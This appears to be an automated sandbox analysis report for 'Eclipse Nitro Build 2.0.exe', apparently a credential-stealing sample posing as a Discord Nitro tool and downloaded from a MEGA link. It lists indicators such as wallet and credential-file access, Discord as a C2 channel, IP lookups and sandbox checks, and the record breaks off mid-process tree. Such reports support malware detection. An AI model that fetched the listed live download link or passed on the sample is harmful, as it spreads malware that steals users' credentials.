hxxps://mega[.]nz/file/S24k0IjY#MoXJNFOk2aoGlGE0wdIxy7EJlBTLLWJA3isghGMsaJA

Analysis

max time kernel
351s
max time network
322s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
20/02/2024, 09:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

https://mega.nz/file/S24k0IjY#MoXJNFOk2aoGlGE0wdIxy7EJlBTLLWJA3isghGMsaJA

Score

7^/10

spyware

Malware Config

Signatures

Loads dropped DLL 64 IoCs

pid	Process
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
5860	Eclipse Nitro Build 2.0.exe
2208	Eclipse Nitro Build 2.0.exe
2208	Eclipse Nitro Build 2.0.exe
2208	Eclipse Nitro Build 2.0.exe
2208	Eclipse Nitro Build 2.0.exe
2208	Eclipse Nitro Build 2.0.exe
2208	Eclipse Nitro Build 2.0.exe
2208	Eclipse Nitro Build 2.0.exe
2208	Eclipse Nitro Build 2.0.exe
2208	Eclipse Nitro Build 2.0.exe
2208	Eclipse Nitro Build 2.0.exe
2208	Eclipse Nitro Build 2.0.exe
2208	Eclipse Nitro Build 2.0.exe
2208	Eclipse Nitro Build 2.0.exe
2208	Eclipse Nitro Build 2.0.exe
2208	Eclipse Nitro Build 2.0.exe
2208	Eclipse Nitro Build 2.0.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 49 IoCs

Web Service

T1102

flow	ioc
318	discord.com
319	discord.com
148	discord.com
309	discord.com
146	discord.com
317	discord.com
168	discord.com
310	discord.com
144	discord.com
165	discord.com
296	discord.com
141	discord.com
139	discord.com
142	discord.com
314	discord.com
153	discord.com
295	discord.com
167	discord.com
303	discord.com
305	discord.com
306	discord.com
315	discord.com
154	discord.com
161	discord.com
162	discord.com
302	discord.com
307	discord.com
150	discord.com
155	discord.com
149	discord.com
152	discord.com
164	discord.com
297	discord.com
300	discord.com
136	discord.com
137	discord.com
316	discord.com
320	discord.com
138	discord.com
163	discord.com
166	discord.com
147	discord.com
145	discord.com
299	discord.com
301	discord.com
308	discord.com
321	discord.com
294	discord.com
304	discord.com

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
115	api.ipify.org
116	api.ipify.org
284	api.ipify.org

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000_Classes\Local Settings	taskmgr.exe

Opens file in notepad (likely ransom note) 4 IoCs

ransomware

pid	Process
3256	NOTEPAD.EXE
2568	NOTEPAD.EXE
740	NOTEPAD.EXE
2940	NOTEPAD.EXE

Suspicious behavior: EnumeratesProcesses 23 IoCs

pid	Process
2164	msedge.exe
2164	msedge.exe
4692	msedge.exe
4692	msedge.exe
1984	identity_helper.exe
1984	identity_helper.exe
436	msedge.exe
436	msedge.exe
4516	msedge.exe
4516	msedge.exe
4516	msedge.exe
4516	msedge.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 14 IoCs

pid	Process
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: 33	4508	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	4508	AUDIODG.EXE
Token: SeDebugPrivilege	5476	taskmgr.exe
Token: SeSystemProfilePrivilege	5476	taskmgr.exe
Token: SeCreateGlobalPrivilege	5476	taskmgr.exe
Token: 33	5476	taskmgr.exe
Token: SeIncBasePriorityPrivilege	5476	taskmgr.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe

Suspicious use of SendNotifyMessage 61 IoCs

pid	Process
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
4692	msedge.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe
5476	taskmgr.exe

Suspicious use of SetWindowsHookEx 17 IoCs

pid	Process
5640	OpenWith.exe
5640	OpenWith.exe
5640	OpenWith.exe
5640	OpenWith.exe
5640	OpenWith.exe
5640	OpenWith.exe
5640	OpenWith.exe
5640	OpenWith.exe
5640	OpenWith.exe
5640	OpenWith.exe
5640	OpenWith.exe
5640	OpenWith.exe
5640	OpenWith.exe
5640	OpenWith.exe
5640	OpenWith.exe
5640	OpenWith.exe
5640	OpenWith.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4692 wrote to memory of 2040	4692	msedge.exe	84
PID 4692 wrote to memory of 2040	4692	msedge.exe	84
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 812	4692	msedge.exe	85
PID 4692 wrote to memory of 2164	4692	msedge.exe	86
PID 4692 wrote to memory of 2164	4692	msedge.exe	86
PID 4692 wrote to memory of 4720	4692	msedge.exe	87
PID 4692 wrote to memory of 4720	4692	msedge.exe	87
PID 4692 wrote to memory of 4720	4692	msedge.exe	87
PID 4692 wrote to memory of 4720	4692	msedge.exe	87
PID 4692 wrote to memory of 4720	4692	msedge.exe	87
PID 4692 wrote to memory of 4720	4692	msedge.exe	87
PID 4692 wrote to memory of 4720	4692	msedge.exe	87
PID 4692 wrote to memory of 4720	4692	msedge.exe	87
PID 4692 wrote to memory of 4720	4692	msedge.exe	87
PID 4692 wrote to memory of 4720	4692	msedge.exe	87
PID 4692 wrote to memory of 4720	4692	msedge.exe	87
PID 4692 wrote to memory of 4720	4692	msedge.exe	87
PID 4692 wrote to memory of 4720	4692	msedge.exe	87
PID 4692 wrote to memory of 4720	4692	msedge.exe	87
PID 4692 wrote to memory of 4720	4692	msedge.exe	87
PID 4692 wrote to memory of 4720	4692	msedge.exe	87
PID 4692 wrote to memory of 4720	4692	msedge.exe	87
PID 4692 wrote to memory of 4720	4692	msedge.exe	87
PID 4692 wrote to memory of 4720	4692	msedge.exe	87
PID 4692 wrote to memory of 4720	4692	msedge.exe	87

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://mega.nz/file/S24k0IjY#MoXJNFOk2aoGlGE0wdIxy7EJlBTLLWJA3isghGMsaJA
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4692
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffbf77546f8,0x7ffbf7754708,0x7ffbf7754718
  2⤵
  PID:2040
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2188,11073381213619965319,13361539933594139254,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2196 /prefetch:2
  2⤵
  PID:812
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2188,11073381213619965319,13361539933594139254,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2164
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2188,11073381213619965319,13361539933594139254,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2828 /prefetch:8
  2⤵
  PID:4720
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,11073381213619965319,13361539933594139254,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3424 /prefetch:1
  2⤵
  PID:1176
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,11073381213619965319,13361539933594139254,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3408 /prefetch:1
  2⤵
  PID:4752
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2188,11073381213619965319,13361539933594139254,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4872 /prefetch:8
  2⤵
  PID:3420
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2188,11073381213619965319,13361539933594139254,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4872 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1984
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2188,11073381213619965319,13361539933594139254,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5224 /prefetch:8
  2⤵
  PID:1844
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,11073381213619965319,13361539933594139254,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5268 /prefetch:1
  2⤵
  PID:1628
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,11073381213619965319,13361539933594139254,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5612 /prefetch:1
  2⤵
  PID:1332
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,11073381213619965319,13361539933594139254,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3512 /prefetch:1
  2⤵
  PID:836
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,11073381213619965319,13361539933594139254,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5940 /prefetch:1
  2⤵
  PID:3788
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,11073381213619965319,13361539933594139254,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5764 /prefetch:1
  2⤵
  PID:5036
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2188,11073381213619965319,13361539933594139254,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5572 /prefetch:8
  2⤵
  PID:3524
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2188,11073381213619965319,13361539933594139254,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6228 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:436
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2188,11073381213619965319,13361539933594139254,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4948 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4516
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,11073381213619965319,13361539933594139254,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3980 /prefetch:1
  2⤵
  PID:5584
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,11073381213619965319,13361539933594139254,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2068 /prefetch:1
  2⤵
  PID:3244
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,11073381213619965319,13361539933594139254,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4976 /prefetch:1
  2⤵
  PID:5884
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,11073381213619965319,13361539933594139254,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5764 /prefetch:1
  2⤵
  PID:3520
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,11073381213619965319,13361539933594139254,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2284 /prefetch:1
  2⤵
  PID:4180
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,11073381213619965319,13361539933594139254,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6408 /prefetch:1
  2⤵
  PID:2952
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,11073381213619965319,13361539933594139254,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1400 /prefetch:1
  2⤵
  PID:5972

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5028

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2928

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x500 0x508
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4508

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1992

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\Eclipse Build 2.0\Eclipse Build 2.0\promos.txt
1⤵
PID:5272

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\Eclipse Build 2.0\Eclipse Build 2.0\proxies.txt
1⤵
PID:5308

C:\Users\Admin\Downloads\Eclipse Build 2.0\Eclipse Build 2.0\Eclipse Nitro Build 2.0.exe
"C:\Users\Admin\Downloads\Eclipse Build 2.0\Eclipse Build 2.0\Eclipse Nitro Build 2.0.exe"
1⤵
PID:5348
- C:\Users\Admin\Downloads\Eclipse Build 2.0\Eclipse Build 2.0\Eclipse Nitro Build 2.0.exe
  "C:\Users\Admin\Downloads\Eclipse Build 2.0\Eclipse Build 2.0\Eclipse Nitro Build 2.0.exe"
  2⤵
  - Loads dropped DLL
  PID:5860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    PID:6048
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c
    3⤵
    PID:3564
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c
    3⤵
    PID:4964
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:1356
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:5132
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:5160
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:4800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c title Loading.
    3⤵
    PID:4704
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c title Loading..
    3⤵
    PID:3324
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c title Loading...
    3⤵
    PID:5188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c title Bypassing.
    3⤵
